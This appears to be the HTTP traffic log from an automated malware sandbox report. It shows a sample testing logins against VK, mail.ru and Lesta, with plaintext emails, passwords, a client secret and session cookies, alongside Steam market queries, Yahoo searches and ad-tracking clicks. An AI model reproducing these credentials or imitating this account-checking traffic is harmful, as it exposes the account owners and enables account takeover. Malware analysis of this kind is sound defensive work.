Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=%22katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_normal&category_730_Quality[]=tag_strange&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /?name=Syed HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /?name=Mateo HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=D67113GE-809F-3BFH-75E4-673A-GA9C150C74HI&external_device_id=499EI9FB-HG9D-BEGH-F939-5F2A-H3AA6G1G2BGF&grant_type=password&idfa=4FE19DEA-1BA5-3211-10FA-228F-898CDB0AH869&idfv=BB69EH7G-E6BD-959B-C0IF-844D-17A5F2I15BEE&libverify_support=1&password=monika&sak_version=1.60&scope=all&username=norrgard@gmail.com&v=5.131 HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows; U; Windows NT 10.1; WOW64 Trident/5.0)Accept: /
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /?name=Paul HTTP/1.1Host: api.genderize.ioAccept: /
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=%22katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=tag_set_community_2&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=tag_weapon_ak47&category_730_Exterior[]=tag_WearCategory2 HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /trk/v1?prof=404&camp=7922&kct=google&kchid=3244738290&criteriaid=kwd-26354352&campaignid=20054591653&locphy=1016280&adgroupid=155357008064&adpos=&cid=656710651105&networkType=search&kdv=c&kext=&kadtype=&kmc=&kpid=&url=https://monitor.ppcprotect.com/v3.0/template?accid=16117&kw=botox&mt=p&nw=g&cpn=20054591653&devi=c&devm=&locp=1016280&loci=1016310&pl=&cr=656710651105&adp=&sadt=&url=https://www.laseraway.com/services/botox/?igaag=155357008064&igaat=&igacm=20054591653&igacr=656710651105&igakw=botox&igamt=p&igant=g&kenibpid=p.404._k_EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE_k_.&utm_source=kenshoo_google_botox&utm_medium=botox-pure_all-regions_phrase&utm_campaign=All-Regions-Botox_Exact-and-Phrase_CONVS__k_EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE_k_&st-t=google_&gad_source=1&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE HTTP/1.1Host: 3310.xg4ken.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /cgi-bin/auth?Password=rrdidnnk&Login=oshapov-rostislz1984c@bk.ru&mob_json=1&mobile=1&simple=1&useragent=android&Lang=ru_RU&mp=android&mmp=mail&DeviceID=CBF51E2BE450C8D4DCEA05A9EB2A210B&client=mobile&playservices=3137971&connectid=6018455ACEBD719B10CA8663D7D30B76&os=Android&os_version=6.0.1&ver=ru.mail.mailapp5.3.0.19561&vendor=samsung&model=SM-G925F&device_type=Smartphone&country=RU&language=ru_RU&timezone=GMT%2B03%3A00&device_name=samsung%20SM-G925F&idfa=a3058554-2eeb-497a-986d-8f5d3093c6e1&appsflyerid=1474203483607-2001876048883877051&current=google&first=google&md5_signature=68A2ADE3800A2B122D3CDB390E887DE0 HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:3.4) Goanna/20180412 PaleMoon/27.9.0accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.5083.400 QQBrowser/10.0.972.400accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /id/sessionwidget/token/?response_type=token&client_id=common_menu&scope=openid&origin=https%3A%2F%2Flesta.ru HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=hrH2DxkldkxVrjd2SWLbbv38MxiszU0jNmYReftw14lCxitUkyTj6zK77TBGmCe3; wgni_sessionid=697p1m13tzdr9gxhxu56gmy18fl4mzauUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Client/3.0.97/AuthCheck Safari/537.22
Source: global traffic	HTTP traffic detected: GET /search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc= HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=14CE0A60-H643-DBEA-G5DF-9E56-ID031BB7BE9A&external_device_id=AE982GHG-F0BD-CCD7-3598-51EH-ECE8EC02H4GE&grant_type=password&idfa=3GEDI12G-0G8E-4233-5G7A-0F0C-78230B3D9F0B&idfv=6ACH12EH-4FBG-5A84-0391-FHG6-3F05H975A0D6&libverify_support=1&password=monika&sak_version=1.60&scope=all&username=norrgard@gmail.com&v=5.131 HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; WOW64) Gecko/20130401 Firefox/53.9Accept: /
Source: global traffic	HTTP traffic detected: GET /consent?brandType=eu&gcrumb=Vh20Z64&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dfoamex%2Bprinted%2Bboards%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D HTTP/1.1Host: guce.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeuReferer: https://uk.search.yahoo.com/search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc=Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9 HTTP/1.1Host: consent.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeuReferer: https://guce.yahoo.com/consent?brandType=eu&gcrumb=Vh20Z64&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dfoamex%2Bprinted%2Bboards%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 OPR/75.0.3969.149accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /copyConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9&lang=en-GB HTTP/1.1Host: guce.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; GUCS=AVYdtGeuReferer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc=&guccounter=1&guce_referrer=aHR0cHM6Ly91ay5zZWFyY2gueWFob28uY29tL3NlYXJjaD9wPWZvYW1leCtwcmludGVkK2JvYXJkcyZmcj1zZnAmZnIyPSZpc2Nxcnk9JnZjPQ&guce_referrer_sig=AQAAACnbVtezZBBL6fRZWkHTqstegNeLmC5rDVu_DtS343DMLriUTAg963vs6uVE2K4VUIQ3c5xXhIPaK2p9m1LG5wexewvnogEpKs65In71CZuvrkBi2M9e8nxQBslkVO9EMwb-xm6rv0-0Spq6Z9Gayo2ElKz6vy1v1ewDIxsq3X70 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAAReferer: https://guce.yahoo.com/copyConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9&lang=en-GBAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search?p=zoho+erp&fr=sfp&fr2=&iscqry=&vc= HTTP/1.1Host: be.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFYE9n7HVlApUrPAxLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&fr=sfp&b=8&pz=7&pstart=8 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227047&ltv_c=1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: fingerprints.bablosoft.comAccept: /
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=570&category_570_Hero[]=any&category_570_Slot[]=tag_head&category_570_Type[]=tag_wearable&category_570_Type[]=tag_wearable&category_570_Slot[]=tag_back&category_570_Slot[]=tag_weapon&category_570_Rarity[]=tag_Rarity_Arcana HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_unusual&category_730_Quality[]=tag_unusual_strange HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&external_device_id=0IDF3EBI-6GD4-4430-6A1B-7HGE-IIIEH39906CB&grant_type=password&idfa=0DAHHCAE-GA5B-9840-85E3-0G2G-46455BCI2728&idfv=GAH47DC4-DDI5-HD18-5E08-C8DB-D8827089GF60&libverify_support=1&password=marina#7-&sak_version=1.60&scope=all&username=79186797085&v=5.131 HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.5; WOW64; en-US) AppleWebKit/536.12 (KHTML, like Gecko) Chrome/50.0.2209.400 Safari/601.1 Edge/15.93446Accept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFbBls7HVlr3Yra95LBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=15&pz=7&pstart=7 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227052&ltv_c=2Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /captcha.php?sid=743468411181&dif=1 HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveCookie: remixir=DELETED; remixlang=3; remixstlid=9011365370180452841_RzfBd8PuBfS4eXPJskBZDvpZVlBvn17PjHFLCzGzotHUser-Agent: Mozilla/5.0 (Windows NT 10.5; WOW64; en-US) AppleWebKit/536.12 (KHTML, like Gecko) Chrome/50.0.2209.400 Safari/601.1 Edge/15.93446Accept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrhbhJo7HVldKkrCXZXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&fr=sfp&b=8&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=1&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227048&ltv_c=1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrEoY5x7HVlBOor80VLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=22&pz=7&pstart=13 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227057&ltv_c=3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /cgi-bin/auth?Password=7090980&Login=dimon-nk@bk.ru&mob_json=1&mobile=1&simple=1&useragent=android&Lang=ru_RU&mp=android&mmp=mail&DeviceID=F20B2E7D1B97022C9A016E1975615F93&client=mobile&playservices=5785264&connectid=CA937473C56C30761877F64EA231685D&os=Android&os_version=6.0.1&ver=ru.mail.mailapp5.3.0.19561&vendor=samsung&model=SM-G925F&device_type=Smartphone&country=RU&language=ru_RU&timezone=GMT%2B03%3A00&device_name=samsung%20SM-G925F&idfa=a3058554-2eeb-497a-986d-8f5d3093c6e1&appsflyerid=1474203483607-2001876048883877051&current=google&first=google&md5_signature=2FDD407E0B1B4AFCD4E53954D0B9AD4F HTTP/1.1
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFcoh87HVllJArc3pLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=29&pz=7&pstart=13 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227068&ltv_c=4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
